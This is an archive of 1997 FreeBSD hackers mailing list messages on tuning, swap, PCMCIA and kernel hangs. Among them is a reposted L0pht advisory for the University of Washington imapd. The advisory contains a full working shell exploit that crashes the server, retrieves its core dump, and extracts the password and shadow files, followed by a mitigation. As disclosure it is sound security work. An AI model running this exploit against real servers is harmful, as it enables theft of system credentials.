fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Wed Oct 8 15:58:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id PAA20718 for hackers-outgoing; Wed, 8 Oct 1997 15:58:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id PAA20710 for ; Wed, 8 Oct 1997 15:58:45 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id PAA24090; Wed, 8 Oct 1997 15:59:34 -0700 (PDT) Message-Id: <199710082259.PAA24090@implode.root.com> To: Joao Carlos Mendes Luis cc: joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG Subject: Re: TCP problem In-reply-to: Your message of "Wed, 08 Oct 1997 19:34:43 -0200." <199710082134.TAA24677@gaia.coppe.ufrj.br> From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 15:59:33 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Uh, er, yes... :) > >I wanted to test some parameters in order to push network performance >since this machine is a mid-sized squid server that I'm using to project >bigger ones. ... >/usr/sbin/sysctl -w net.inet.tcp.sendspace=65536 >/usr/sbin/sysctl -w net.inet.tcp.recvspace=65536 This is the cause of the problem. You really don't want to change these, anyway. You'll see the best performance at the default of 16KB. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 16:10:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA21320 for hackers-outgoing; Wed, 8 Oct 1997 16:10:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA21313 for ; Wed, 8 Oct 1997 16:10:13 -0700 (PDT) (envelope-from dcarmich@Jupiter.Mcs.Net) Received: from Jupiter.Mcs.Net (dcarmich@Jupiter.mcs.net [192.160.127.88]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id SAA08995 for ; Wed, 8 Oct 1997 18:10:12 -0500 (CDT) Received: (from dcarmich@localhost) by Jupiter.Mcs.Net (8.8.7/8.8.2) id SAA21519 for freebsd-hackers@freebsd.org; Wed, 8 Oct 1997 18:10:11 -0500 (CDT) From: Douglas Carmichael Message-Id: <199710082310.SAA21519@Jupiter.Mcs.Net> Subject: FreeBSD for digital recording w/PCI multitrack in/out cards? To: freebsd-hackers@freebsd.org Date: Wed, 8 Oct 1997 18:10:11 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk With Jordan's comment about FreeBSD in the recording studio, it could be done with PCI-based multitrack audio I/O cards (e.g. Event Electronics Layla - FAQ at http://www.event1.com/layla-faq.html), and some changes to the sound driver (e.g. creating /dev/[audio|dsp][0-7]). Could FreeBSD handle the guaranteed 8-channel in/out? What multitrack recording software exists for FreeBSD? From owner-freebsd-hackers Wed Oct 8 16:11:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA21379 for hackers-outgoing; Wed, 8 Oct 1997 16:11:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from inertia.dfacades.com ([207.155.93.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA21369 for ; Wed, 8 Oct 1997 16:11:36 -0700 (PDT) (envelope-from security@dfacades.com) Received: from [207.155.93.30] (beatnik-mac.dfacades.com [207.155.93.30] (may be forged)) by inertia.dfacades.com (8.8.7/8.8.7) with ESMTP id QAA13024; Wed, 8 Oct 1997 16:14:53 -0700 (PDT) X-Sender: security@inertia.dfacades.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 8 Oct 1997 16:17:54 +0100 To: chloe@hepcat.org From: "We got Food - Fuel - Ice-cold Beer - and X.509 certificates" Subject: L0pht Advisory: IMAP4rev1 imapd server Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk L0pht Security Advisory Advisory released Oct 8 1997 Application: imapd (imap-4.1BETA from the IMAP 4.1 toolkit from University of Washington) Severity: any user with an account can remotely grab the shadowed password file. Author: mudge@l0pht.com http://www.l0pht.com/advisories.html Scenario: It is possible to crash the imapd server in several possible places. Due to the lack of handling for the SIGABRT signal and the nature of the IMAP protocol in storing folders locally on the server; a core dump is produced in the users current directory. This core dump contains the password and shadow password files from the system. Example: ./imap_core.sh usage: imap_core.sh target username password ./imap_core.sh target jdoe letmein imap_core.sh - this is a quick proof of concept tool that causes some imapd implementations to dump core. Unfortunately the core file contains the password and shadow password file in it! .mudge [mudge@l0pht.com] [Starting] Built base64 decoder... Running imap attack... Forced server to dump core. Reconnecting to grab file and clean up! Stripping trailing c/r from RFC822 base64 encapsulated core file Removing imap crap from beginning and end of core.24487 Converting base64 image to binary core file... core.24487: ELF 32-bit MSB core file SPARC Version 1, from 'imapd' Successfully grabbed some form of password file for target.com results located in ./etc_passwd.target.com Successfully grabbed some form of shadow file for target.com results located in ./etc_shadow.target.foo.bar [note: some manual cleanup of ./etc_shadow.target.com is probably required] [Finished] Description: In several situations it is possible to make the imapd server call the function fatal() which is as follows in osdep/unix/ftl_unix.c: /* Report a fatal error * Accepts: string to output */ void fatal (char *string) { mm_fatal (string); /* pass up the string */ syslog (LOG_ALERT,"IMAP toolkit crash: %.100s",string); abort (); /* die horribly */ } If SIGABRT is caught and the signal handler does not return, things would be okay, life would go on, and Frank Zappa's death would be a big sick joke. However, SIGABRT is not caught or ignored. Since part of the beauty of the IMAP protocol is that you can maintain your mailboxes on the server, your directory must be writable by at least yourself. What happens when SIGABRT is not caught, not ignored, and the current direcorty is writable? core dump. Here are just a few of the areas where fatal() is called. c-client/mail.c: if (stream->lock) fatal ("Lock when already locked"); c-client/mail.c: if (!stream->lock) fatal ("Unlock when not locked"); imapd/imapd.c: if (quell_events) fatal ("Impossible EXPUNGE event"); osdep/unix/fs_unix.c: if (!block) fatal ("Out of free storage"); osdep/unix/fs_unix.c: fatal ("Can't resize free storage"); osdep/unix/env_unix.c: if (myUserName) fatal ("env_init called twice!"); osdep/unix/dummy.c: fatal ("Impossible dummy_copy"); Solution: There are several places where imapd can be forced to abort(3C). There are also several ways to prevent each area. As opposed to forcing our preferred way of fixing the code and thus precluding potentially more ellegant patches we choose to suggest a blanket solution. This should allow the author of the application to fix these problems as he sees fit while alerting everyone (good and bad) of the problem and a stop-gap fix in the mean time. This said, we recommend that core dumps not be permitted from any application running out of inetd. If you need to test these things do so in a controlled environment. No production machine should be allowed to crap all over the place. "But wait!", You say, "what if we think the application is robust and then realize there is a problem later on. We need that core file". Face it, there are very few people out there that know what to do with core files other than rm(1) them. However, if this is the case then you sved yourself some heartache. Now that you know the application is not ready for prime time you can pull it back into a controlled environment and attempt to make it dump core again. For Solaris you can set the core dump size via the bourne shell's built-in ulimit command. /etc/init.d/inetsvc should contain the line ulimit -c 0 directly above the line starting off inetd. ---excerpt snip--- ulimit -c 0 /usr/sbin/inetd -s --- excerpt snip--- Don't forget to kill inetd and re-run the inetsvc script. Other OS's should check if their bourne shell has a built in ulimit and if not, follow whatever methods are used on their particular system to prevent core dumps or limit their size to 0. You can use the following script to test if you are vulnerable or to check that your fix worked. [note: you will need netcat for the script, netcat available from http://www.avian.org and other fine fast food establishments ] Exploit code: ------cut here------ #!/bin/sh # mudge@l0pht.com # # A quick little tool that shows the dangers of priveledged programs dumping # core. # # Shout outs to a bunch of people - in particular Nettwerk. # Hey Nettwerk where'd ya go? # Programs NC=/usr/local/bin/nc CAT=/bin/cat RM=/bin/rm GREP=/bin/grep TAIL=/bin/tail HEAD=/bin/head MV=/bin/mv TR=/bin/tr STRINGS=/bin/strings FILE=/bin/file CC=/usr/local/bin/gcc # temporary command and storage files CMDS1=nc_commands1 CMDS2=nc_commands2 DECODE64_SRC=b64.c TMPNAM=vunlklyname TMPFILE=tmp.$$ # compiled BASE64 decoding program DECODE64=./b64 # core file - sometimes base64 sometimes actuall dump file CORE=core.$$ if [ $# != 3 ] ; then echo "usage: `basename $0` target username password" exit fi echo echo "[L0pht Heavy Industries - l0pht.com]" echo "`basename $0` - " echo " this is a quick proof of concept tool that causes some imapd" echo " implementations to dump core. Unfortunately the core file " echo " contains the password and shadow password file in it!" echo " .mudge [mudge@l0pht.com]" echo # command line supplied variables TARGET=$1 USER=$2 PASS=$3 # resultant password and shadow files PASSWD=./etc_passwd_$TARGET SHADOW=./etc_shadow_$TARGET # the following logs in in plaintext as opposed through X AUTHENTICATE - # you have been forwarned... # login with $user $pass # create a folder that probably isn't there # select the folder # copy the file to another name # the above will cause IMAP4rev1 to crash via calling dummy_copy # note: there are many other ways to get this thing to crash. cat > $CMDS1 << FOEFOE 1 LOGIN $USER $PASS 2 CREATE $TMPNAM 3 SELECT $TMPNAM 4 COPY $TMPNAM $TMPNAM.$$ FOEFOE # login with $user $pass (again in plaintext...) # select the core file # retrieve the core file base64 encoded as per RFC822 # delete the core file # delete the temporary file we created # bye bye cat > $CMDS2 << FOEFOE 1 LOGIN $USER $PASS 2 SELECT core 3 UID FETCH 1 (UID RFC822.SIZE RFC822) 4 DELETE core 5 DELETE $TMPNAM 4 LOGOUT FOEFOE # The following quick little program to decode base64 was yanked in # big chunks from Dave Winer's code sitting on # http://www.scripting.com/midas/base64/source.html # hey, credit where it's due - Dave saved me some time here. # modest changes by: mudge@l0pht.com cat > $DECODE64_SRC << FOEFOE #include #define TRUE 1 #define FALSE 0 void decodefile(FILE *, FILE *); int main(int argc, char *argv[]){ FILE *fin, *fout; if (argc > 3){ printf("Usage: %s \n", argv[0]); exit(1); } switch(argc){ case 3: fin = fopen(argv[1], "r"); fout = fopen(argv[2], "w"); if (!fin || !fout) { perror("fopen"); exit(1); } break; case 2: fin = fopen(argv[1], "r"); fout = stdout; if (!fin) { perror("fopen"); exit(1); } break; case 1: fin = stdin; fout = stdout; break; } decodefile(fin, fout); close(fin); close(fout); exit(0); } void decodefile(FILE *fin, FILE *fout) { short charctr; int breakout; unsigned char ch; unsigned char inbuf[3], outbuf[4]; short bufctr = 0, ignore, eot = 0; while ((ch = fgetc(fin))) { if (feof(fin)){ close(fin); break; } ignore = FALSE; if ((ch >= 'A') && (ch <= 'Z')) ch = ch - 'A'; else if ((ch >= 'a') && (ch <= 'z')) ch = ch - 'a' + 26; else if ((ch >= '0') && (ch <= '9')) ch = ch - '0' + 52; else if (ch == '+') ch = 62; else if (ch == '=') eot = TRUE; else if (ch == '/') ch = 63; else ignore = TRUE; if (!ignore) { charctr = 3; breakout = FALSE; if (eot) { if (bufctr == 0) break; if ((bufctr == 1) || (bufctr == 2)) charctr = 1; else charctr = 2; bufctr = 3; breakout = TRUE; } inbuf[bufctr++] = ch; if (bufctr == 4) { bufctr = 0; outbuf[0] = (inbuf[0] << 2) | ((inbuf[1] & 0x30) >> 4); outbuf[1] = ((inbuf[1] & 0x0F) << 4) | ((inbuf[2] & 0x3C) >> 2); outbuf[2] = ((inbuf[2] & 0x03) << 6) | (inbuf[3] & 0x3F); fprintf(fout, "%c%c%c", outbuf[0], outbuf[1], outbuf[2]); } if (breakout) break; } } } FOEFOE $CC -o $DECODE64 $DECODE64_SRC if [ ! -x $DECODE64 ] ; then echo "failed to compile base 64 decoding utility" echo "stop" $RM -f $DECODE64_SRC $DECODE64 exit fi echo "[Starting]" echo "Built base64 decoder..." echo echo "Running imap attack..." $CAT $CMDS1 | $NC -w 10 $TARGET 143 > $TMPFILE grep -i "server crashing" $TMPFILE > /dev/null if [ $? -eq 0 ] ; then echo echo "Forced server to dump core. Reconnecting to grab file and clean up!" $CAT $CMDS2 | $NC -w 10 $TARGET 143 > $CORE $RM -f $CMDS1 $CMDS2 $TMPFILE echo "Stripping trailing c/r from RFC822 base64 encapsulated core file" # interesting... I must've missed the section of rfc 1521 that stated # they'd make this DOS'ish $TR -d '\015' < $CORE > $CORE.2 # strip off ^M's from file $MV -f $CORE.2 $CORE else echo "Failed to crash server... cleaning up" $RM -f $CMDS1 $CMDS2 $TMPFILE $DECODE64 $DECODE64_SRC exit fi echo "Removing imap crap from beginning and end of $CORE" VAR=`grep -n "^$" $CORE | awk -F: '{print $1}'` VAR=`expr $VAR + 1` $TAIL +$VAR $CORE > $TMPFILE VAR=`grep -n "=" $TMPFILE | awk -F: '{print $1}'` $HEAD -$VAR $TMPFILE > $CORE $RM $TMPFILE echo echo "Converting base64 image to binary core file..." $DECODE64 $CORE $TMPFILE $MV $TMPFILE $CORE $FILE $CORE $STRINGS - $CORE | $GREP ':x:' > $PASSWD $STRINGS -n 13 - $CORE | $GREP ':' | $GREP -v ' ' | $GREP -v ':x:' > $SHADOW if [ -s $PASSWD ] ; then echo echo "Successfully grabbed some form of password file for $TARGET" echo " results located in $PASSWD" else echo "failed to create $PASSWD" $RM -f $PASSWD fi if [ -s $SHADOW ] ; then echo "Successfully grabbed some form of shadow file for $TARGET" echo " results located in $SHADOW" echo " [note: some manual cleanup of $SHADOW is probably required]" echo else echo "failed to create $SHADOW" echo $RM -f $SHADOW fi $RM -f $DECODE64 $DECODE64_SRC $MV -f $CORE core_${TARGET} echo "[Finished]" ------cut here------ mudge@l0pht.com --------------- For more L0pht (that's L - zero - P - H - T) advisories check out: http://www.l0pht.com/advisories.html --------------- From owner-freebsd-hackers Wed Oct 8 16:38:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA22670 for hackers-outgoing; Wed, 8 Oct 1997 16:38:19 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA22665 for ; Wed, 8 Oct 1997 16:38:16 -0700 (PDT) (envelope-from andrew@zeta.org.au) Received: from gurney.reilly.home (d25.syd2.zeta.org.au [203.26.11.25]) by godzilla.zeta.org.au (8.8.5/8.6.9) with ESMTP id JAA29995; Thu, 9 Oct 1997 09:32:12 +1000 Received: (from andrew@localhost) by gurney.reilly.home (8.8.7/8.8.5) id JAA20837; Thu, 9 Oct 1997 09:26:14 +1000 (EST) From: Andrew Reilly Message-Id: <199710082326.JAA20837@gurney.reilly.home> Date: Thu, 9 Oct 1997 09:26:14 +1000 (EST) Subject: Re: Wheres all my memory going? To: dg@root.com cc: gordon@drogon.net, hackers@FreeBSD.ORG In-Reply-To: <199710081356.GAA19466@implode.root.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 8 Oct, David Greenman wrote: >>Machine boots OK. I start named (8.1.1) and it initialises. However, after >>some time (a day or so) the machine start to run out of swap space. I only >>allocated 64M of swap. (Is this the problem?) What I can't figure out is >>where the memory is going. Output of 'top -b' shows: > > Yes, you need more swap than you have RAM...this is very important to > avoid problems. Does that mean that it is not possible to run a FreeBSD system without swap at all? I can think of a number of situations (mostly kind of embedded) where you can arrange to satisfy all of the memory requirements with RAM, but don't want to add a disk or use a network for swap. -- Andrew "The steady state of disks is full." -- Ken Thompson From owner-freebsd-hackers Wed Oct 8 16:40:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA22865 for hackers-outgoing; Wed, 8 Oct 1997 16:40:34 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from afs.ntc.mita.keio.ac.jp (afs.ntc.mita.keio.ac.jp [131.113.212.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA22859 for ; Wed, 8 Oct 1997 16:40:29 -0700 (PDT) (envelope-from hosokawa@ntc.keio.ac.jp) Received: (from hosokawa@localhost) by afs.ntc.mita.keio.ac.jp (8.8.7/3.6Wbeta6-ntc_mailserver1.03) id IAA03463; Thu, 9 Oct 1997 08:40:22 +0900 (JST) Date: Thu, 9 Oct 1997 08:40:22 +0900 (JST) Message-Id: <199710082340.IAA03463@afs.ntc.mita.keio.ac.jp> To: faber@ISI.EDU Cc: freebsd-hackers@FreeBSD.ORG, hosokawa@ntc.keio.ac.jp Subject: Re: patch for PCMCIA support on Hitachi Mx133 In-Reply-To: Your message of "Wed, 08 Oct 1997 13:30:36 -0700". <199710082030.NAA17919@tnt.isi.edu> From: hosokawa@ntc.keio.ac.jp (HOSOKAWA Tatsumi) X-Mailer: mnews [version 1.20] 1996-12/08(Sun) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In article <199710082030.NAA17919@tnt.isi.edu> faber@ISI.EDU writes: >> Your code seems to work beautifully. I wouldn't worry about >> integrating my code, which is more of a quick hack. I didn't see any >> pointers to the patch you pointed out on the web page. Are the new >> snaps only announced on the nomads mailing list? Sorry, I'll announce this kind of patches to -mobile from now. BTW, the major problem of this patch is that it breaks CLPD-6729/6730 support. I don't have enough time to track this problem because I'm terribly busy these days. This is the reason why I haven't announced it officially. -- HOSOKAWA, Tatsumi Network Technology Center Keio University hosokawa@ntc.keio.ac.jp From owner-freebsd-hackers Wed Oct 8 16:50:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA23471 for hackers-outgoing; Wed, 8 Oct 1997 16:50:52 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA23462 for ; Wed, 8 Oct 1997 16:50:47 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id QAA24445; Wed, 8 Oct 1997 16:52:13 -0700 (PDT) Message-Id: <199710082352.QAA24445@implode.root.com> To: Andrew Reilly cc: gordon@drogon.net, hackers@FreeBSD.ORG Subject: Re: Wheres all my memory going? In-reply-to: Your message of "Thu, 09 Oct 1997 09:26:14 +1000." <199710082326.JAA20837@gurney.reilly.home> From: David Greenman Reply-To: dg@root.com Date: Wed, 08 Oct 1997 16:52:13 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >On 8 Oct, David Greenman wrote: >>>Machine boots OK. I start named (8.1.1) and it initialises. However, after >>>some time (a day or so) the machine start to run out of swap space. I only >>>allocated 64M of swap. (Is this the problem?) What I can't figure out is >>>where the memory is going. Output of 'top -b' shows: >> >> Yes, you need more swap than you have RAM...this is very important to >> avoid problems. > >Does that mean that it is not possible to run a FreeBSD system without >swap at all? I can think of a number of situations (mostly kind of >embedded) where you can arrange to satisfy all of the memory >requirements with RAM, but don't want to add a disk or use a network >for swap. That's what it means. As soon as the free pages get depleted and the system tries to reclaim some memory, it will get unhappy and start killing off processes rather than recaiming only unmodified pages or whatever. This is a problem that needs to be dealt with in the future. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Wed Oct 8 17:58:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA27053 for hackers-outgoing; Wed, 8 Oct 1997 17:58:45 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from chess.inetspace.com (chess.inetspace.com [206.50.163.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA27046 for ; Wed, 8 Oct 1997 17:58:40 -0700 (PDT) (envelope-from kgor@chess.inetspace.com) Received: (from kgor@localhost) by chess.inetspace.com (8.8.5/8.7.3) id TAA01089; Wed, 8 Oct 1997 19:58:03 -0500 (CDT) Date: Wed, 8 Oct 1997 19:58:03 -0500 (CDT) Message-Id: <199710090058.TAA01089@chess.inetspace.com> From: "Kent S. Gordon" To: hackers@FreeBSD.ORG Subject: Hang in new 2.2.x kernels Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I tried to update my machine form 2.2.2 to 2.2-STABLE (RELENG-2.2 tag). I compiled a new kernel and lkm's. My machine now hangs after detecting my scsi adapter but before finding the root disk. I saw similar behavior running 3.0-CURRENT in april, but was not able to track down the problem. Any suggestions on the best way to debug the problem? I have the full CVS tree and was think of slowly rolling forward from 2.2.2 until I find the date where the 2.2 branch breaks on my machine ( now what is the cvs command to do this?). In addition to the kernel, lkm's and config are any other files needed to be synced to build new kernels? I have included the dmesg from my 2.2.2 kernel and my current kernel config file. I seem to remember a probe (bt0:0:0:0) as the last message before the machine hangs in new kernels. I plan to add the DEBUG, DDB, and SCSIDEBUG options to my config file before proceeding. Kent S. Gordon Senior Software Engineer iNetSpace Co. voice: (972)851-3494 fax:(972)702-0384 e-mail:kgor@inetspace.com Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2-STABLE #0: Fri May 16 19:21:22 CDT 1997 kgor@chess.inetspace.com:/usr/src/sys/compile/CHESS Calibrating clock(s) ... i8254 clock: 1193755 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency CPU: i486DX (486-class CPU) real memory = 33554432 (32768K bytes) avail memory = 30670848 (29952K bytes) Probing for devices on the ISA bus: sc0: the current keyboard controller command byte 0045 kbdio: RESET_KBD return code:00fa kbdio: RESET_KBD status:00aa sc0 at 0x60-0x6f irq 1 on motherboard sc0: BIOS video mode:3 sc0: VGA registers upon power-up 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 ff ff 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: video mode:24 sc0: VGA registers for mode:24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: VGA color <16 virtual consoles, flags=0x0> ed0 at 0x300-0x31f irq 5 on isa ed0: address 00:00:e8:cb:ac:1a, type NE2000 (16 bit) bpf: ed0 attached sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface bpf: lp0 attached fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 765 fd0: 1.44MB 3.5in fd1: 1.2MB 5.25in bt0: Bt445S/ 0-ISA(24bit) bus bt0: Your card cannot DMA above 16MB boundary. Bounce buffering enabled. bt0: reading board settings, dma=5, int=11 bt0: version 3.36, fast sync, parity, 32 mbxs, 32 ccbs bt0: targ 0 sync rate=10.00MB/s(100ns), offset=15 bt0: targ 1 sync rate=10.00MB/s(100ns), offset=15 bt0: Using Strict Round robin scheme bt0 at 0x330 irq 11 drq 5 on isa <-- New kernel never gets beyond here --> (bt0:0:0): "DEC DSP5200S T392" type 0 fixed SCSI 2 sd0(bt0:0:0): Direct-Access 1908MB (3907911 512 byte sectors) sd0(bt0:0:0): with 2621 cyls, 21 heads, and an average 71 sectors/track (bt0:1:0): "SEAGATE ST31200N 8648" type 0 fixed SCSI 2 sd1(bt0:1:0): Direct-Access 1006MB (2061108 512 byte sectors) sd1(bt0:1:0): with 2700 cyls, 9 heads, and an average 84 sectors/track npx0 on motherboard npx0: INT 16 interface imasks: bio c0000840, tty c003009a, net c0020020 BIOS Geometries: 0:03ff3f20 0..1023=1024 cylinders, 0..63=64 heads, 1..32=32 sectors 1:03ed3f20 0..1005=1006 cylinders, 0..63=64 heads, 1..32=32 sectors 0 accounted for Device configuration finished. Considering FFS root f/s. changing root device to sd0a configure() finished. bpf: tun0 attached bpf: lo0 attached sd0s1: type 0xa5, start 32, end = 3907583, size 3907552 : OK sd1s1: type 0xa5, start 32, end = 2060287, size 2060256 : OK # # GGZOO -- Cyrix 586/100 with BT controller # # For more information read the handbook part System Administration -> # Configuring the FreeBSD Kernel -> The Configuration File. # The handbook is available in /usr/share/doc/handbook or online as # latest version from the FreeBSD World Wide Web server # # # An exhaustive list of options and more detailed explanations of the # device lines is present in the ./LINT configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in LINT. # # $Id: GENERIC,v 1.78 1996/11/16 01:09:17 gibbs Exp $ machine "i386" #cpu "I386_CPU" cpu "I486_CPU" cpu "I586_CPU" #cpu "I686_CPU" ident GGZOO maxusers 10 #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options FFS #Berkeley Fast Filesystem options NFS #Network Filesystem #options MSDOSFS #MSDOS Filesystem #options "CD9660" #ISO 9660 Filesystem options PROCFS #Process filesystem options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] #options SCSI_DELAY=15 #Be pessimistic about Joe SCSI device #options SCSI_DELAY=5 #Be pessimistic about Joe SCSI device options BOUNCE_BUFFERS #include support for DMA bounce buffers options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options SYSVSHM options SYSVSEM options SYSVMSG options "AUTO_EOI_1" #faster interrupts config kernel root on wd0 controller isa0 #I have a VLB, but no aha28xx cards, that think they are on a eisa bus. #controller eisa0 #controller pci0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 disk fd1 at fdc0 drive 1 #tape ft0 at fdc0 drive 2 #controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr #disk wd0 at wdc0 drive 0 #disk wd1 at wdc0 drive 1 #controller wdc1 at isa? port "IO_WD2" bio irq 15 vector wdintr #disk wd2 at wdc1 drive 0 #disk wd3 at wdc1 drive 1 #options ATAPI #Enable ATAPI support for IDE bus #options ATAPI_STATIC #Don't do it as an LKM #device wcd0 #IDE CD-ROM # A single entry for any of these controllers (ncr, ahb, ahc) is sufficient # for any number of installed devices. #controller ncr0 #controller ahb0 #controller ahc0 controller bt0 at isa? port "IO_BT0" bio irq ? vector bt_isa_intr #controller uha0 at isa? port "IO_UHA0" bio irq ? drq 5 vector uhaintr #controller aha0 at isa? port "IO_AHA0" bio irq ? drq 5 vector ahaintr #controller aic0 at isa? port 0x340 bio irq 11 vector aicintr #controller nca0 at isa? port 0x1f88 bio irq 10 vector ncaintr #controller nca1 at isa? port 0x350 bio irq 5 vector ncaintr #controller sea0 at isa? bio irq 5 iomem 0xc8000 iosiz 0x2000 vector seaintr controller scbus0 device sd0 #device od0 #See LINT for possible `od' options. #device st0 #device cd0 #Only need one of these, the code dynamically grows #device wt0 at isa? port 0x300 bio irq 5 drq 1 vector wtintr #device mcd0 at isa? port 0x300 bio irq 10 vector mcdintr #controller matcd0 at isa? port 0x230 bio #device scd0 at isa? port 0x230 bio # syscons is the default console driver, resembling an SCO console device sc0 at isa? port "IO_KBD" tty irq 1 vector scintr # Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver #device vt0 at isa? port "IO_KBD" tty irq 1 vector pcrint #options PCVT_FREEBSD=210 # pcvt running on FreeBSD >= 2.0.5 #options XSERVER # include code for XFree86 #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Mandatory, don't remove device npx0 at isa? port "IO_NPX" irq 13 vector npxintr # # Laptop support (see LINT for more options) # #device apm0 at isa? disable # Advanced Power Management #options APM_BROKEN_STATCLOCK # Workaround some buggy APM BIOS # PCCARD (PCMCIA) support #controller crd0 #device pcic0 at crd? #device pcic1 at crd? device sio0 at isa? port "IO_COM1" tty irq 4 vector siointr device sio1 at isa? port "IO_COM2" tty irq 3 vector siointr #device sio2 at isa? disable port "IO_COM3" tty irq 5 vector siointr #device sio3 at isa? disable port "IO_COM4" tty irq 9 vector siointr device lpt0 at isa? port? tty irq 7 vector lptintr #device lpt1 at isa? port? tty #device mse0 at isa? port 0x23c tty irq 5 vector mseintr #device psm0 at isa? disable port "IO_KBD" conflicts tty irq 12 vector psmintr # Order is important here due to intrusive probes, do *not* alphabetize # this list of network interfaces until the probes have been fixed. # Right now it appears that the ie0 must be probed before ep0. See # revision 1.20 of this file. #device de0 #device fxp0 #device vx0 #device ed0 at isa? port 0x280 net irq 5 iomem 0xd8000 vector edintr #device ed1 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr device ed0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector edintr #device ie0 at isa? port 0x360 net irq 7 iomem 0xd0000 vector ieintr #device ep0 at isa? port 0x300 net irq 10 vector epintr #device fe0 at isa? port 0x300 net irq ? vector feintr #device ix0 at isa? port 0x300 net irq 10 iomem 0xd0000 iosiz 32768 vector ixintr #device le0 at isa? port 0x300 net irq 5 iomem 0xd0000 vector le_intr #device lnc0 at isa? port 0x280 net irq 10 drq 0 vector lncintr #device ze0 at isa? port 0x300 net irq 5 iomem 0xd8000 vector zeintr #device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000 vector zpintr pseudo-device loop pseudo-device ether pseudo-device log #pseudo-device sl 1 # ijppp uses tun instead of ppp device #pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 32 